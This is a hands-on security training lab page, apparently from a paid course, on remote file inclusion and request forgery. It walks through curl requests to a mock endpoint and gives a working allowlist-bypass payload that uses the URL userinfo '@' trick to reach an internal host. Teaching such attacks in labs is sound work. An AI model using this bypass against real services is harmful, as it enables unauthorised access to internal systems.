Remote File Inclusion
LFI includes a local file. RFI includes a remote one. If the server's include function accepts URLs, an attacker can point it at a script they control — and the server executes it.
The rule: the page endpoint at /api/22/page accepts a URL as input and fetches it. There is a mock internal server at http://internal-service/ that serves the flag. Your job is to make the page endpoint fetch from that internal host instead of the allowed public hosts.
Test
Copy these. Run them. Read what comes back.
Step 1 · Look at the include endpoint
The endpoint describes itself, including what hosts it allows.
curl -s "{LAB_API_BASE}/api/22/info"What you'll see:
{
"include": "/api/22/page?url=",
"allowed_hosts": ["static.hunterlian.lab"],
"internal": "internal-service",
"note": "only static.hunterlian.lab is expected to be fetched"
}The endpoint fetches URLs. It says only static.hunterlian.lab is expected. The internal service at internal-service is not on that list — but the endpoint has another property: it may be trusting the URL too much.
Step 2 · Include a normal file
Start with an allowed host.
curl -s "{LAB_API_BASE}/api/22/page?url=http://static.hunterlian.lab/hello.txt"What you'll see:
Hello from the static file server.
The endpoint fetched http://static.hunterlian.lab/hello.txt and returned its contents. Clean.
Step 3 · Point it at the internal host
Try the internal service directly. The endpoint may or may not block it.
curl -s "{LAB_API_BASE}/api/22/page?url=http://internal-service/flag"What you'll see:
{
"error": "host not in allowlist"
}Blocked. The endpoint checks the host. But it checks it once, using a substring match — and it does not resolve the host before comparing.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The block is a substring check: the server rejects any URL whose host equals internal-service. But it accepts any URL containing static.hunterlian.lab anywhere in the string. That is the bypass.
Use the URL userinfo trick: http://static.hunterlian.lab@internal-service/flag. The substring static.hunterlian.lab is present, so the check passes. But the actual host the request goes to is internal-service — the part after @ is the host.
Send that URL. The flag is in the response.
Solved.
You made the server fetch from a host it was never supposed to reach. Read why it happened and how to prevent it — in Lesson 22.
Read Lesson 22 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 22 — Remote File Inclusion
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →